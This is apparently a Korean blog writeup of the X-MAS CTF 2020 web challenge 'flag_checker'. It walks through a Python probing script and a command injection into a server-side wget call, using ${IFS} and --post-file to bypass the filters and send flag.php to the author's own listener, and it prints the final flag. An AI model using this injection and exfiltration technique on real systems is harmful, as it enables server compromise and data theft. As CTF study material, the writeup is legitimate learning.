-
[Clear] X-MAS CTF 2020 flag_checker WriteupCTF/X-MAS CTF 2020 2020. 12. 22. 00:11
Web 카테고리의 세 번째 문제이다. 문제 내용은 아래와 같다.
Target 페이지에 접근해보면 php소스가 주어진다.
코드를 간단히 해석해보자.
get방식으로 flag라는 파라미터에 사용자 입력값을 받아서 checkFlag 함수로 검증을 한다.
검증 과정은 플래그값(문제에서는 예시로 example_flag 가 주어졌다) 에 대해 대문자가 있다면 소문자로 치환을 하고
사용자 입력값을 한글자씩 플래그 값에 포함되어있는지 검사를 한다.
하지만 몇번째 인덱스이고, 반복 여부 등등을 검증하지는 않기때문에 이를 통해서 플래그를 유추할수는 없고, 사용가능한 문자들이 어떤것인지만 파악 할 수 있다.
import requests c= '' arr = [] for i in range(32,126) : c = chr(i) url = 'http://challs.xmas.htsp.ro:3001/?flag=X-MAS{'+ c + '}' response=requests.get(url) #print(url) if response.text in 'That is not a correct flag!' : continue elif response.text in 'Nope' : arr.append(c) else : print(response.text) print(arr)
실제로, 위와 같은 테스트코드를 통해서 입력 가능한 문자열이 어떤것들이 있는지 파악 할 수 있다.
그 다음으로 입력한 플래그 값이
wget -q -O - https://kuhi.to/flag/[사용자 입력 값]
커맨드로 설정되어 서버에서 실행된 후 output 여부에 따라 응답값이 나뉘어진다.
하지만 -q 옵션에 의해 output이 제공되지 않으므로 의미가 없다..
wget --help 따라서, 사용자 입력 값이 커맨드에 그대로 참고된다는 점에서 Command Injection 쪽으로 문제 해결을 시도해보았다.
첫 번째 고민은 어떻게 ; 없이 커맨드 인젝션을 실행시킬까에 대한 것이었다.
URL인코딩 등으로 우회를 시도해보려고 해도 % 문자 또한 허용되어있지 않기 때문에 다른 방법을 찾기 시작했고
이내 wget의 옵션을 활용하여 파일을 전송 할 수 있다는 것을 알게되었다.
-> --post-file=[filename] 의 활용
두 번째 고민은 띄어쓰기 없이 어떻게 명령어를 실행시킬까 였다.
관련하여 구글링을 하다가 좋은 예시를 찾았다.
unix.stackexchange.com/questions/351331/how-to-send-a-command-with-arguments-without-spaces
How to send a command with arguments without spaces?
Is there a way to execute a command with arguments in linux without whitespaces? cat file.txt needs to be: cat(somereplacementforthiswhitespace)file.txt
unix.stackexchange.com
${IFS}를 띄어쓰기와 같이 활용 할 수 있다는 내용이었는데 실제 테스트해보니 유효하였다.
( ${IFS}에 대해 궁금하여 약간의 조사를 해보았더니 IFS에 특정 값을 설정하면 해당 값을 스페이스로 치환시킬 수 있다는 것이었다. )
이를 활용하여 완성시킨 payload는 아래와 같았다.
http://challs.xmas.htsp.ro:3001/?flag=${IFS}--post-file=flag.php${IFS}[개인서버IP]
하지만.. 문제에서는 = 또한 허용하고 있지 않았다.
이를 해결하기 위해서 공부하다가 아래 예시를 보았다.
www.gnu.org/software/wget/manual/html_node/HTTP-Options.html
GNU Wget 1.18 Manual: HTTP Options
Unfortunately, some HTTP servers (CGI programs, to be more precise) send out bogus Content-Length headers, which makes Wget go wild, as it thinks not all the document was retrieved. You can spot this syndrome if Wget retries getting the same document again
www.gnu.org
--post-data 의 형식은 --post-file과 유사하다. --post-data=string 형식이 정석이지만, --post-data string 으로 쓰이는 예시가 있었다. 이를 --post-file에도 적용하였더니 역시 유효함을 확인 할 수 있었다.
(linux command 계의 시적 허용이라고 해야할까.. 특정한 이유는 찾지 못했으나 테스트 결과 유효했다..)
마침내
http://challs.xmas.htsp.ro:3001/?flag=${IFS}--post-file${IFS}flag.php${IFS}[개인서버IP]
라는 payload를 통해 FLAG를 획득 할 수 있었다.
( ' : ' 가 허용되어있지 않기 때문에 나처럼 nc를 통해서 FLAG를 얻고자 하는 경우 일시적으로 공인 IP에 대한 80포트를 nc port(ex. 8888)와 포트포워딩을 해주어야 한다.)
FLAG = X-MAS{s0_fL4g_M4ny_IFS_bb69cd55f5f6}
반응형'CTF > X-MAS CTF 2020' 카테고리의 다른 글
[Clear] X-MAS CTF 2020 Comfort Bot Writeup (0) 2020.12.23 [Clear] X-MAS CTF 2020 Santa's consolation Writeup (0) 2020.12.21 [Clear] X-MAS CTF 2020 PHP Master Writeup (0) 2020.12.21 [Clear] X-MAS CTF 2020 FORMULA TRANSLATION NOVICE Writeup (0) 2020.12.20 [Clear] X-MAS CTF 2020 Scrambled Carol Writeup (2) 2020.12.20